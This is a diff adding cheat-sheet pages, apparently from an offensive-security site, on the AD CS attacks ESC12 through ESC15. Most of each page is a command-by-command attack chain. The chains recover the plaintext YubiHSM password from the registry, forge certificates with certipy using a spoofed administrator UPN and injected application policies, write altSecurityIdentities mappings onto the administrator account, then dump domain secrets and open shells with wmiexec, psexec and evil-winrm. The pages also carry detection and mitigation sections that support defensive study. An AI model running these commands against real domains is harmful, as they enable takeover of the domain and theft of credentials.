"HSMs prevent key extraction" assumption. | + +*** + +## What Is ESC12? + +ESC12 was disclosed by **Hans-Joachim Knobloch** and targets Certificate Authorities that use a **Yubico YubiHSM2** hardware device for protecting their CA signing key. The conventional wisdom is that HSMs make the Golden Certificate attack (DPERSIST1) impossible because the private key cannot be extracted. ESC12 **breaks this assumption** — not by extracting the key, but by **recovering the HSM authentication password and using it to sign certificates through the HSM itself**. + +The vulnerability: Yubico's YubiHSM Key Storage Provider (KSP) stores the authentication password needed to unlock the HSM in **plaintext in the Windows Registry**: + +``` +HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword +``` + +With this password, you don't need to extract the private key — you can instruct the HSM to sign certificates directly, achieving the same result as having the raw key material. + +*** + +## ESC12 vs Golden Certificate (DPERSIST1) + +| | Golden Certificate (DPERSIST1) | ESC12 | +|---|---|---| +| **CA key protection** | Software-protected (DPAPI) | **HSM-protected (YubiHSM2)** | +| **Key extraction** | ✅ Key is extracted | ❌ Key stays in HSM | +| **How cert is signed** | Offline with extracted key | **Through the HSM using recovered password** | +| **Offline forging** | ✅ Anytime, anywhere | ❌ Must have HSM access (or be on the CA server) | +| **Pre-requisite** | Local admin on CA | Local admin on CA + YubiHSM connected | +| **Recovery difficulty** | Rebuild CA | Rotate HSM auth key + rebuild CA | + +> ⚠️ The critical difference: DPERSIST1 gives you **offline forging forever** (you take the key with you). ESC12 gives you **online forging** — you need access to the HSM device (or the CA server where it's connected) each time you want to sign a cert. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Local admin / SYSTEM on the CA server | Post-exploitation — you've already compromised the domain | +| CA uses YubiHSM2 for key storage | Check Key Storage Provider configuration | +| YubiHSM auth password stored in registry | Default YubiHSM KSP configuration — almost always the case | +| YubiHSM device physically connected | USB device must be attached to the CA server | + +*** + +## Step 0 — Confirm CA Uses YubiHSM + +```powershell +# On the CA server — check the Key Storage Provider +certutil -getkey <CA-Name> + +# Look for output mentioning YubiHSM: +# Provider = Yubico YubiHSM Key Storage Provider + +# Or check registry +reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>" /v CSPProvider +# If result = "Yubico YubiHSM Key Storage Provider" → ESC12 is potentially exploitable +``` + +```bash +# From Linux with admin access (via Impacket) +reg.py 'domain/administrator:Password123!'@<CA-IP> query \ + -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>' \ + -v CSPProvider +``` + +*** + +## Full Attack Chain + +### Step 1 — Recover the YubiHSM Authentication Password + +```powershell +# On the CA server +reg query "HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword" + +# Expected output: +# AuthKeysetPassword REG_SZ password123 +# ↑ Plaintext HSM password +``` + +```bash +# From Linux via Impacket +reg.py 'domain/administrator:Password123!'@<CA-IP> query \ + -keyName 'HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword' +``` + +### Step 2 — Connect to YubiHSM and Sign Certificates + +With the authentication password, you can now use the YubiHSM KSP to sign certificates. This is typically done **on the CA server itself** since the HSM is physically connected there. + +```powershell +# Option A: Use certutil directly on the CA server to issue certs +# The CA service already has access to the HSM — you just need admin on the server +certutil -config "CA-SERVER\DOMAIN-CA" -submit cert_request.req + +# Option B: Use the YubiHSM Shell tool with the recovered password +yubihsm-shell.exe +> connect +> session open 1 <recovered_password> +> sign pkcs11 <key_id> <certificate_data> +``` + +### Step 3 — Forge a Certificate (via CA Service) + +If you have admin access on the CA server, the simplest approach is to use the CA's own infrastructure: + +```bash +# From Linux — use certipy backup (will attempt to use the KSP) +certipy-ad backup \ + -u 'administrator@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET \ + -target <CA-IP> + +# If certipy backup fails (HSM blocks key export), +# use certipy req directly with admin access to request certs for any user +certipy-ad req \ + -u 'administrator@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -upn 'administrator@domain.htb' +``` + +### Step 4 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +*** + +## When ESC12 Matters + +ESC12 is only relevant in environments where: +1. The CA uses a YubiHSM2 (or similar HSM with KSP password in registry) +2. You've already achieved domain admin (this is a post-exploitation / persistence technique) +3. The standard Golden Certificate (DPERSIST1) `certipy backup` fails because the key is HSM-protected + +If `certipy backup` succeeds, you don't need ESC12 — you already have the key. ESC12 is the **fallback when HSMs are in play**. + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Registry read (auth password) | Security Event 4663 (if registry auditing enabled) | 🟡 Medium | +| Certificate issuance via CA service | Event ID 4886/4887 on CA | 🟡 Medium | +| YubiHSM shell connection | YubiHSM audit log (if configured) | 🟡 Medium | + +*** + +## Detection Indicators + +- **YubiHSM audit logs** — Unusual signing operations or session openings +- **Event ID 4663** — Registry access to `HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` +- **Event ID 4887** — Certificate issued for high-privilege accounts outside normal business hours +- **Process monitoring** — `yubihsm-shell.exe` execution by unexpected accounts + +*** + +## Mitigation + +- **Do NOT store HSM auth password in plaintext in the registry** — Use Yubico's alternative secure authentication methods (wrap keys, multi-auth) +- **Harden CA server access** — Tier 0 asset, restrict all administrative access +- **Enable registry auditing** on `HKLM\SOFTWARE\Yubico` — alert on any read access +- **Rotate HSM authentication keys** regularly +- **Consider HSMs with FIPS 140-2 Level 3+** — physically tamper-evident, stronger auth requirements +- **Monitor YubiHSM connector logs** — alert on unexpected sessions diff --git a/src/content/sheets/active-directory/esc13-issuance-policy-oid-group-link.md b/src/content/sheets/active-directory/esc13-issuance-policy-oid-group-link.md @@ -0,0 +1,231 @@ +--- +title: "ESC13 — Issuance Policy OID Group Link" +description: "ESC13 is fundamentally different from every other ESC attack. Where ESC1–ESC12 focus on impersonating a specific user, ESC13 achieves privilege escalation…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Impacket", "Certipy", "BloodHound", "ldapsearch", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC13 — Issuance Policy OID Group Link.md" +--- +# ESC13 — Issuance Policy OID Group Link + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Issuance Policy / Group Membership Escalation | +| **Difficulty** | Medium | +| **Pre-requisites** | Enrollment rights on a template with linked issuance policy OID | +| **Tools** | Certipy, BloodHound, PowerView | +| **OPSEC Noise** | Low — uses legitimate enrollment, no attribute manipulation | +| **One-liner** | Enroll in a template whose issuance policy OID is linked to a privileged AD group via `ms-DS-OIDToGroup-Link`, granting effective group membership upon certificate authentication. | + +*** + +## What Is ESC13? + +ESC13 is fundamentally different from every other ESC attack. Where ESC1–ESC12 focus on **impersonating a specific user**, ESC13 achieves privilege escalation by **gaining effective membership in a privileged group** — without any AD account attribute modification, without UPN swapping, and without SAN injection. + +The mechanism exploits Microsoft's **Authentication Mechanism Assurance (AMA)** feature. AMA allows organisations to map an Issuance Policy OID in a certificate to an AD security group via the `ms-DS-OIDToGroup-Link` attribute. When a user authenticates with a certificate that has this policy, the KDC adds the linked group's SID to the user's Privilege Attribute Certificate (PAC) — effectively granting them membership in that group for the duration of the session. + +The abuse: if a low-privileged user can **enroll** in a template that includes an issuance policy linked to a privileged group (like Domain Admins or a custom admin group), they receive that group's privileges upon certificate-based authentication. + +*** + +## The Mechanism + +``` +Normal AMA flow (intended): + Template has Issuance Policy → OID "1.2.3.4.5.6" + OID "1.2.3.4.5.6" linked via ms-DS-OIDToGroup-Link → "PKI-Admins" group + User enrolls → Cert has Issuance Policy "1.2.3.4.5.6" + User authenticates → KDC adds "PKI-Admins" SID to PAC + Result: User has PKI-Admins privileges for this session + +ESC13 abuse: + Same flow — but enrollment rights are overly permissive + Low-priv user enrolls in the template + Gets effective group membership in a privileged group + = Privilege escalation without modifying any AD object +``` + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Template has an **Issuance Policy** configured | Check template's `msPKI-Certificate-Policy` attribute | +| The Issuance Policy OID has **`ms-DS-OIDToGroup-Link`** set | Links to a security group | +| The linked group is **privileged** | Domain Admins, custom admin groups, etc. | +| Low-priv users can **enroll** | `Enrollment Rights: Domain Users` | +| Manager Approval is off | `Requires Manager Approval: False` | +| No authorized signatures required | `Authorized Signatures Required: 0` | +| Template has **Client Authentication EKU** | For domain authentication | + +*** + +## Step 0 — Enumeration + +```bash +# Standard certipy scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# Look for ESC13 in output — certipy flags it when it detects OID group links +``` + +### What Vulnerable ESC13 Output Looks Like + +``` +Certificate Templates + Template Name : LinkedPolicyTemplate + Enabled : True + Client Authentication : True + Enrollee Supplies Subject : False + Requires Manager Approval : False + Authorized Signatures Required : 0 + Certificate Policies : 1.2.3.4.5.6.7.8 ← Issuance Policy OID + Permissions + Enrollment Rights : DOMAIN\Domain Users + + [!] Vulnerabilities + ESC13 : Certificate template has an issuance policy OID linked + to a group via ms-DS-OIDToGroup-Link + OID Group Link : DOMAIN\PrivilegedGroup +``` + +### Manual Enumeration of OID Group Links + +```powershell +# PowerShell — find all OID objects with group links +Get-ADObject -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ + -Filter {msPKI-Cert-Template-OID -like '*'} \ + -Properties 'ms-DS-OIDToGroup-Link','msPKI-Cert-Template-OID','DisplayName' | + Where-Object { $_.'ms-DS-OIDToGroup-Link' -ne $null } | + Select-Object DisplayName, 'msPKI-Cert-Template-OID', 'ms-DS-OIDToGroup-Link' + +# Output shows which OIDs are linked to which groups +``` + +```bash +# From Linux via LDAP +ldapsearch -x -H ldap://$TARGET -D 'lowpriv@domain.htb' -w 'Password123!' \ + -b "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ + '(msDS-OIDToGroupLink=*)' dn msDS-OIDToGroupLink msPKI-Cert-Template-OID +``` + +*** + +## Full Attack Chain — Linux (Certipy) + +### Step 1 — Request Certificate from the Linked Template + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'LinkedPolicyTemplate' + +# Output: lowpriv.pfx +# This cert contains the Issuance Policy OID that is linked to the privileged group +``` + +### Step 2 — Authenticate with the Certificate + +```bash +certipy-ad auth \ + -pfx lowpriv.pfx \ + -username lowpriv \ + -domain domain.htb \ + -dc-ip $TARGET + +# The KDC adds the linked group's SID to your PAC +# You now effectively have that group's privileges +``` + +### Step 3 — Use Elevated Privileges + +```bash +export KRB5CCNAME=lowpriv.ccache + +# If the linked group has DCSync rights: +secretsdump.py -k -no-pass DC01.domain.htb + +# If the linked group has admin access: +wmiexec.py -k -no-pass DC01.domain.htb +psexec.py -k -no-pass DC01.domain.htb +``` + +> 💡 Your TGT has the privileged group's SID in the PAC. Any service that checks group membership via the PAC will grant you access. You don't need to pass-the-hash or impersonate another user — **you ARE still lowpriv, but with extra group memberships**. + +*** + +## ESC13 Visual Attack Flow + +``` +[lowpriv@domain.htb] + │ + │ certipy req -template LinkedPolicyTemplate + ▼ +[lowpriv.pfx] ← Contains Issuance Policy OID 1.2.3.4.5.6 + │ + │ certipy auth -pfx lowpriv.pfx + ▼ +[KDC processes cert → sees OID → looks up ms-DS-OIDToGroup-Link] + │ + │ KDC adds PrivilegedGroup SID to PAC + ▼ +[TGT for lowpriv WITH PrivilegedGroup membership] + │ + ▼ +[PRIVILEGE ESCALATION — access controlled by group membership] +``` + +*** + +## ESC13 vs All Other ESCs + +| | ESC1–12 / ESC15–17 | **ESC13** | +|---|---|---| +| **What you get** | Identity of another user | **Group membership for yourself** | +| **UPN change required** | Usually yes | ❌ No | +| **SAN injection required** | Often yes | ❌ No | +| **Account manipulation** | Often yes | ❌ No | +| **Your identity changes** | ✅ You become someone else | ❌ **You stay YOU — just with extra groups** | +| **Mechanism** | Certificate identity spoofing | **PAC group SID injection via AMA** | +| **Stealth** | Varies | 🟢 **Very stealthy — legitimate enrollment** | + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Certificate request | Event ID 4886/4887 | 🟢 Low (looks like normal enrollment) | +| Certificate auth | Event ID 4768 (TGT request) | 🟢 Low (normal PKINIT) | +| Privileged action with TGT | Depends on what you do | 🟡 Medium | + +> 💡 ESC13 is one of the **stealthiest** ESC attacks because it uses completely legitimate enrollment functionality. No AD attributes are modified, no accounts are impersonated — you simply enroll in a template you're allowed to use. The only anomaly is a low-priv user suddenly having privileged access. + +*** + +## Detection Indicators + +- **Event ID 4887** — Certificate issued from a template that has an issuance policy linked to a privileged group — cross-reference requester's actual group memberships +- **PAC analysis** — TGTs containing group SIDs that don't match the user's actual AD group memberships +- **BloodHound** — Edges from low-priv principals to templates with linked OID groups +- **Audit `ms-DS-OIDToGroup-Link`** — Any OID object with this attribute pointing to a privileged group should be treated as a Tier 0 configuration + +*** + +## Mitigation + +- **Restrict enrollment rights** on templates with linked issuance policies — these should only be enrollable by the intended audience (e.g., Tier 0 admins) +- **Audit all `ms-DS-OIDToGroup-Link` attributes** — verify that every linked group is intentionally exposed to certificate-based membership +- **Avoid linking OIDs to highly privileged groups** — Domain Admins, Enterprise Admins, Schema Admins should never be linked to issuance policies +- **Monitor certificate enrollment** for templates with issuance policies — alert on enrollment by users not in the intended group +- **Remove unused issuance policies** — if the AMA feature isn't actively used, remove all OID group links diff --git a/src/content/sheets/active-directory/esc14-weak-explicit-certificate-mapping.md b/src/content/sheets/active-directory/esc14-weak-explicit-certificate-mapping.md @@ -0,0 +1,254 @@ +--- +title: "ESC14 — Weak Explicit Certificate Mapping" +description: "ESC14 targets the altSecurityIdentities attribute on AD user and computer objects. This multi-valued attribute is used for explicit certificate-to-account…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "hashing"] +tools: ["Impacket", "Certipy", "BloodHound", "ldapsearch", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC14 — Weak Explicit Certificate Mapping.md" +--- +# ESC14 — Weak Explicit Certificate Mapping + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Explicit Certificate Mapping Abuse | +| **Difficulty** | Medium | +| **Pre-requisites** | Write access to `altSecurityIdentities` OR existing weak mapping on target | +| **Tools** | Certipy, BloodHound, PowerView, LDAP tools | +| **OPSEC Noise** | Medium — AD attribute modification | +| **One-liner** | Abuse weak explicit certificate mappings in `altSecurityIdentities` to bind your own certificate to a privileged account, or manipulate your account attributes to match an existing weak mapping on a target. | + +*** + +## What Is ESC14? + +ESC14 targets the `altSecurityIdentities` attribute on AD user and computer objects. This multi-valued attribute is used for **explicit certificate-to-account mapping** — it tells the DC "when this specific certificate is presented, map it to this specific account." The values in this attribute define **how** the mapping is performed. + +The vulnerability: Windows supports multiple mapping types, and some are **cryptographically weak** — they rely on easily spoofable identifiers like the Subject Common Name or Issuer DN rather than unique, cryptographic identifiers like serial numbers or public key hashes. + +ESC14 has **two distinct attack scenarios**: + +| Scenario | Pre-requisite | Method | +|----------|--------------|--------| +| **ESC14a — Write Access** | `GenericWrite` on target's `altSecurityIdentities` | Add your own certificate mapping to the target account | +| **ESC14b — Existing Weak Mapping** | Target already has a weak mapping + `GenericWrite` on your own account | Modify your attributes to match the target's weak mapping criteria | + +*** + +## Certificate Mapping Types — Strong vs Weak + +The `altSecurityIdentities` attribute supports these formats: + +| Mapping Type | Format | Strength | Spoofable? | +|-------------|--------|----------|------------| +| `X509:<I>issuer<S>subject` | Issuer + Subject DN | 🟡 Weak | ✅ If you control subject | +| `X509:<S>subject` | Subject DN only | 🔴 Very Weak | ✅ Easily | +| `X509:<I>issuer<SR>serial` | Issuer + Serial Number | 🟢 Strong | ❌ | +| `X509:<SKI>keyid` | Subject Key Identifier | 🟢 Strong | ❌ | +| `X509:<SHA1-PUKEY>hash` | SHA1 of Public Key | 🟢 Strong | ❌ | +| `X509:<RFC822>email` | RFC822 email (SAN) | 🔴 Very Weak | ✅ | + +> ⚠️ The weak types (`X509:<S>`, `X509:<I><S>`, `X509:<RFC822>`) can be exploited because the attacker can **craft a certificate** (or modify their own AD attributes) to match the mapping criteria. + +*** + +## Required Conditions + +### ESC14a — Write Access to altSecurityIdentities + +| Condition | Notes | +|-----------|-------| +| `GenericWrite` or `WriteProperty` on target's `altSecurityIdentities` | BloodHound ACE edge | +| You control a certificate (any cert you can authenticate with) | Even a self-signed cert works if added to NTAuthCA | +| **OR** access to legitimate enrollment | Standard ADCS enrollment | + +### ESC14b — Existing Weak Mapping + +| Condition | Notes | +|-----------|-------| +| Target account has a weak `altSecurityIdentities` mapping | `X509:<S>` or `X509:<I><S>` format | +| You have `GenericWrite` on **your own** account (or a controlled account) | To modify attributes to match the mapping | +| Access to a Client Auth template for enrollment | Standard ADCS enrollment | + +*** + +## Step 0 — Enumeration + +```bash +# Check for altSecurityIdentities on high-value targets +# From Linux via LDAP +ldapsearch -x -H ldap://$TARGET -D 'lowpriv@domain.htb' -w 'Password123!' \ + -b "DC=domain,DC=htb" \ + '(altSecurityIdentities=*)' dn altSecurityIdentities + +# From PowerShell +Get-ADUser -Filter {altSecurityIdentities -like '*'} \ + -Properties altSecurityIdentities | + Select-Object Name, altSecurityIdentities + +# Check for computer accounts too +Get-ADComputer -Filter {altSecurityIdentities -like '*'} \ + -Properties altSecurityIdentities | + Select-Object Name, altSecurityIdentities +``` + +### BloodHound Queries + +```cypher +// Find principals with write access to altSecurityIdentities on admin accounts +MATCH (n)-[r:GenericWrite|GenericAll|WriteProperty]->(m:User) +WHERE m.admincount = True +RETURN n.name, type(r), m.name + +// Find accounts with altSecurityIdentities set +MATCH (n:User) WHERE n.altsecurityidentities IS NOT NULL +RETURN n.name, n.altsecurityidentities +``` + +*** + +## ESC14a — Write Access Attack Chain + +When you have write access to a target's `altSecurityIdentities`, you simply **add a mapping** that points to a certificate you control. + +### Step 1 — Request a Certificate for Yourself + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' + +# Output: lowpriv.pfx +``` + +### Step 2 — Extract Certificate Details + +```bash +# Get the Subject DN from your certificate +certipy-ad cert -pfx lowpriv.pfx -nokey -out lowpriv.crt +openssl x509 -in lowpriv.crt -noout -subject -issuer + +# Output example: +# subject= /DC=htb/DC=domain/CN=Users/CN=lowpriv +# issuer= /DC=htb/DC=domain/CN=DOMAIN-CA +``` + +### Step 3 — Add Explicit Mapping to Target Account + +```bash +# Using BloodyAD +bloodyAD -d 'domain.htb' -u 'lowpriv' -p 'Password123!' --host $TARGET \ + set object administrator altSecurityIdentities \ + -v "X509:<I>DC=htb,DC=domain,CN=DOMAIN-CA<S>DC=htb,DC=domain,CN=Users,CN=lowpriv" + +# Using PowerView +Set-DomainObject -Identity administrator \ + -Set @{'altSecurityIdentities'='X509:<I>DC=htb,DC=domain,CN=DOMAIN-CA<S>DC=htb,DC=domain,CN=Users,CN=lowpriv'} +``` + +### Step 4 — Authenticate as Administrator Using Your Certificate + +```bash +certipy-ad auth \ + -pfx lowpriv.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# The DC checks administrator's altSecurityIdentities +# Finds a mapping matching your cert's Issuer+Subject +# Grants you access as administrator +``` + +### Step 5 — Clean Up (Remove the Mapping) + +```bash +bloodyAD -d 'domain.htb' -u 'lowpriv' -p 'Password123!' --host $TARGET \ + set object administrator altSecurityIdentities -v "" +``` + +*** + +## ESC14b — Existing Weak Mapping Attack Chain + +When the target already has a weak explicit mapping, you modify **your own account** to match the mapping criteria. + +### Example Scenario + +Target: `admin-svc` has mapping: +``` +altSecurityIdentities: X509:<S>CN=Admin Service Account +``` + +This mapping only checks the Subject CN — anyone with a cert where `CN=Admin Service Account` will be mapped to this account. + +### Step 1 — Modify Your Account's CN (If Possible) + +```bash +# If you have GenericWrite on an account, modify its CN to match +# More commonly: create a new computer account with matching attributes +impacket-addcomputer \ + 'domain.htb/lowpriv:Password123!' \ + -dc-ip $TARGET \ + -computer-name 'Admin Service Account$' \ + -computer-pass 'EvilPass!' +``` + +### Step 2 — Request Certificate with Matching Subject + +```bash +certipy-ad req \ + -u 'Admin Service Account$@domain.htb' \ + -p 'EvilPass!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'Machine' + +# The cert's Subject CN will match the weak mapping +``` + +### Step 3 — Authenticate as the Target + +```bash +certipy-ad auth \ + -pfx 'admin service account.pfx' \ + -username 'admin-svc' \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Reading altSecurityIdentities | LDAP query — low noise | 🟢 Low | +| Writing altSecurityIdentities | Event ID 5136 (Directory Service Changes) | 🔴 High | +| Certificate enrollment | Event ID 4886/4887 | 🟢 Low | +| Auth with explicit mapping | Event ID 4768 | 🟡 Medium | + +*** + +## Detection Indicators + +- **Event ID 5136** — Modification of `altSecurityIdentities` attribute, especially on privileged accounts +- **Event ID 4768** — Certificate-based TGT request where the mapping source is `altSecurityIdentities` rather than UPN/SAN +- **Audit `altSecurityIdentities`** — Any value using weak mapping types (`X509:<S>`, `X509:<RFC822>`) on privileged accounts is a finding +- **BloodHound** — `GenericWrite` or `WriteProperty` edges to accounts with `altSecurityIdentities` set + +*** + +## Mitigation + +- **Use only strong mapping types** — Replace all `X509:<S>` and `X509:<I><S>` mappings with `X509:<I><SR>` (Issuer + Serial) or `X509:<SHA1-PUKEY>` (SHA1 Public Key Hash) +- **Restrict write access to `altSecurityIdentities`** — Only Tier 0 admins should be able to modify this attribute on any account +- **Audit all existing mappings** — Run a domain-wide query for `altSecurityIdentities` and review every value +- **Set `StrongCertificateBindingEnforcement = 2`** — Forces SID-based validation on implicit mappings, though explicit mappings via `altSecurityIdentities` may still work +- **Monitor for attribute changes** — Alert on any modification to `altSecurityIdentities` on privileged accounts diff --git a/src/content/sheets/active-directory/esc15-ekuwu-cve-2024-49019.md b/src/content/sheets/active-directory/esc15-ekuwu-cve-2024-49019.md @@ -0,0 +1,282 @@ +--- +title: "ESC15 — EKUwu (CVE-2024-49019)" +description: "ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["NetExec", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC15 — EKUwu (CVE-2024-49019).md" +--- +# ESC15 — EKUwu (CVE-2024-49019) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Software Vulnerability (not misconfiguration) | +| **Difficulty** | Low–Medium | +| **Pre-requisites** | Enrollment in schema v1 template + unpatched CA | +| **CVE** | CVE-2024-49019 | +| **Patched** | November 2024 — KB5044281 | +| **Tools** | Certipy, Certify (TrustedSec fork), Cobalt Strike BOFs | +| **OPSEC Noise** | Low — looks like normal enrollment | +| **One-liner** | Inject arbitrary Application Policy OIDs (like Client Authentication) into a CSR against schema version 1 templates — the CA honours them even if the template never specified those policies. | + +*** + +## What Is ESC15? + +ESC15, nicknamed **EKUwu**, was discovered by **Justin Bollinger at TrustedSec** in late September 2024 and assigned **CVE-2024-49019** by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — **it is not a misconfiguration**. It is a **software vulnerability in Microsoft's implementation of Application Policies in schema version 1 certificate templates**. + +Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes **Certificate Signing Requests (CSRs) against schema version 1 templates** — templates that Microsoft itself ships as defaults. The bug allows an attacker to **inject arbitrary Application Policy OIDs into their CSR** that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies. + +In practical terms: you enroll in a harmless default template, inject `Client Authentication` OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin. + +*** + +## Why Schema Version 1 Is Special + +The entire vulnerability hinges on a behavioural difference between schema versions: + +| Schema Version | Application Policy Behaviour | +|---|---| +| **Version 1** | CA accepts Application Policies **supplied in the CSR** — attacker controlled | +| **Version 2+** | CA ignores CSR-supplied Application Policies — uses only what's defined in the template | + +Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the `szOID_APPLICATION_CERT_POLICIES` (`1.3.6.1.4.1.311.21.10`) attribute handling in v1 template processing. + +*** + +## Default Vulnerable Templates + +Because ESC15 targets schema version 1 templates, it can affect **default Microsoft-provided templates** — no admin misconfiguration required: + +| Template | Default Enrollment Rights | Schema Version | Risk | +|----------|--------------------------|---------------|------| +| `User` | Domain Users | 1 | ⚠️ **High — every domain user** | +| `Machine` | Domain Computers | 1 | ⚠️ **High — every machine** | +| `DomainController` | Domain Controllers | 1 | DCs only | +| `WebServer` | Administrators | 1 | Often over-permissioned | +| `SubCA` | Administrators | 1 | Admin-only normally | +| `CA` | Administrators | 1 | Admin-only | + +> 💡 The `User` and `Machine` templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Template uses **Schema Version 1** | `Schema Version: 1` in certipy output | +| Template has **`Enrollee Supplies Subject`** enabled | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` | +| Low-priv users can enroll | Standard enrollment rights check | +| **Unpatched** (pre-November 2024 KB5044281) | Check patch status | + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# Certipy flags ESC15 when it detects Schema Version 1 + Enrollee Supplies Subject + +# Manually check patch status +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'wmic qfe list brief | findstr KB5044281' +# If no output = unpatched = ESC15 works +``` + +### What Vulnerable ESC15 Output Looks Like + +``` +Certificate Templates + Template Name : User + Schema Version : 1 ← KEY: Schema V1 + Enabled : True + Client Authentication : False ← Not required — you'll inject it + Enrollee Supplies Subject : True + Requires Manager Approval : False + Authorized Signatures Required : 0 + Permissions + Enrollment Rights : DOMAIN\Domain Users + +[!] Vulnerabilities + ESC15 : Template schema version is 1 and the template allows the + enrollee to supply the subject and an application policy +``` + +*** + +## Full Attack Chain — Linux (Certipy) + +Certipy's ESC15 support was added after TrustedSec's disclosure. The key flag is `-application-policies` which injects the arbitrary OID into the CSR. + +### Step 1 — Request Cert with Injected Application Policy + Spoofed Subject + +```bash +# Inject Client Authentication OID + specify Administrator as subject +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -upn 'administrator@domain.htb' \ + -application-policies 'Client Authentication' + +# Output: administrator.pfx +``` + +**What Certipy does under the hood:** +- Builds a CSR for the `User` template (schema v1) +- Injects `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) into `szOID_APPLICATION_CERT_POLICIES` extension of the CSR +- Sets `SubjectAltName: UPN = administrator@domain.htb` +- CA honours both — issues cert with Client Auth capability AND Administrator UPN + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 14 +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Certificate object SID is 'S-1-5-21-...-500' +[*] Saving certificate and private key to 'administrator.pfx' +``` + +### Step 2 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +### Step 3 — Shell + +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i $TARGET -u administrator -H <NTHASH> +``` + +*** + +## Extended Use Cases — Beyond Client Auth + +TrustedSec's research showed ESC15 is more dangerous than ESC2 in some respects because you can inject **any** Application Policy OID: + +```bash +# Code signing certificate — forge software signatures +certipy-ad req ... -application-policies 'Code Signing' + +# Smart Card Logon — bypass smart card enforcement +certipy-ad req ... -application-policies 'Smart Card Logon' + +# Enrollment Agent — bridges into ESC3 territory +certipy-ad req ... -application-policies 'Certificate Request Agent' + +# Any Purpose — like ESC2 +certipy-ad req ... -application-policies 'Any Purpose' +``` + +Each of these opens a completely different post-exploitation path from the same single vulnerability. + +*** + +## Windows Attack Chain (TrustedSec Tools) + +```powershell +# ESC15 from Windows requires crafting a custom CSR with injected Application Policy + +# Option A: TrustedSec BOFs (Cobalt Strike) +adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2" + +# Option B: Updated Certify fork from TrustedSec +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User ` + /altname:administrator /applicationpolicies:"Client Authentication" + +# Convert and authenticate +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap +``` + +*** + +## ESC15 vs ESC1 and ESC2 + +| | ESC1 | ESC2 | **ESC15** | +|---|---|---|---| +| **Root cause** | Template misconfiguration | Template misconfiguration | **Software bug in schema 